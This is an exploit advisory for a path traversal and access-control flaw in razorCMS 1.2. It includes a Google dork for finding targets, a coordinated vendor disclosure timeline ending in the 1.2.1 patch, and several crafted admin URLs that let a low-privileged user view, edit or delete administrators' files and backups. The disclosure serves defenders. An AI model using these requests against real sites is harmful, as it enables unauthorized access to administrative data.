71 lines
No EOL
3 KiB
Text
71 lines
No EOL
3 KiB
Text
# Exploit Title: razorCMS 1.2 Path Traversal
|
|
# Google Dork: "Powered by razorCMS"
|
|
# Date: January 10, 2012
|
|
# Author: chap0
|
|
# Software Link: http://www.razorcms.co.uk/archive/core/
|
|
# Version: 1.2
|
|
# Tested on: Ubuntu
|
|
# Patch: Upgrade to latest release 1.2.1
|
|
# Greetz To: <Insert Name Here>
|
|
|
|
RazorCMS is vulnerable to Path Traversal, when logged in with
|
|
a least privileged user account the user can access the
|
|
administrator's and super administrator's directories and
|
|
files by changing the path in the url. The vulnerabilities exist
|
|
in admin_func.php
|
|
|
|
Patch Time line:
|
|
Dec 11, 2011 - Contacted Vendor
|
|
Dec 11, 2011 - Vendor Replied ask for details of vulnerability
|
|
Dec 12, 2011 - Submitted details
|
|
Dec 13, 2011 - No reply asked for an update
|
|
Dec 13, 2011 - Vendor Replied asking for a week or two for a fix after the holiday period
|
|
Dec 20, 2011 - Emailed Vendor for an update
|
|
Dec 21, 2011 - Vendor confirmed vulnerabilities asked for two weeks time for a fix
|
|
Dec 27, 2011 - Emailed vendor some "temp fixes" for the vulnerabilities discovered
|
|
Jan 3, 2012 - Emailed vendor more "temp fixes"
|
|
Jan 5, 2012 - Vendor replied sent a new updated file v1 admin_func.php
|
|
Jan 5, 2012 - Replied to vendor discovered more vulnerabilities
|
|
Jan 6, 2012 - Vendor response with new file with fixes v2 admin_func.php
|
|
Jan 6, 2012 - Tested discovered more vulnerabilities
|
|
Jan 8, 2012 - Vendor replied with new file v3 admin_func.php
|
|
Jan 8, 2012 - Tested, vulnerabilities are fixed reported to vendor
|
|
Jan 9, 2012 - Vendor released update 1.2.1
|
|
Jan 10, 2012 - Public Disclosure
|
|
|
|
Path Traversal Details:
|
|
|
|
The following files and directories are vulnerable to Path Traversal
|
|
Attack including any files or directories that the admin or super admin
|
|
may create within these directories
|
|
|
|
http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/
|
|
http://razorcms-server/admin/?action=filemanview&dir=backup/
|
|
http://razorcms-server/admin/?action=filemanview&dir=/razor_data.txt
|
|
http://razorcms-server/admin/?action=filemanview&dir=/index.htm
|
|
|
|
|
|
http://razorcms-server/admin/?action=fileman&dir=razor_temp_logs/
|
|
http://razorcms-server/admin/?action=fileman&dir=backup/
|
|
http://razorcms-server/admin/?action=fileman&dir=/razor_data.txt
|
|
http://razorcms-server/admin/?action=fileman&dir=/index.htm
|
|
|
|
|
|
An example would be if the super admin created a directory within razor_temp_logs
|
|
named sekrit which should not be accessible with a least privileged user, the
|
|
least privileged user can change the path as shown below:
|
|
|
|
http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/
|
|
|
|
Which also works on files within those directories which the user should not have
|
|
access to which at this point gives the user access to view, edit, rename, move,
|
|
copy and delete the file.
|
|
|
|
e.g.
|
|
|
|
http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/sekrit.txt
|
|
|
|
|
|
Another vulnerability exist in this version of razorCMS, if a least privileged user creates
|
|
a directory with their logged in credentials, and then deletes the directory, the user will
|
|
then have access to the administrative directories and files. |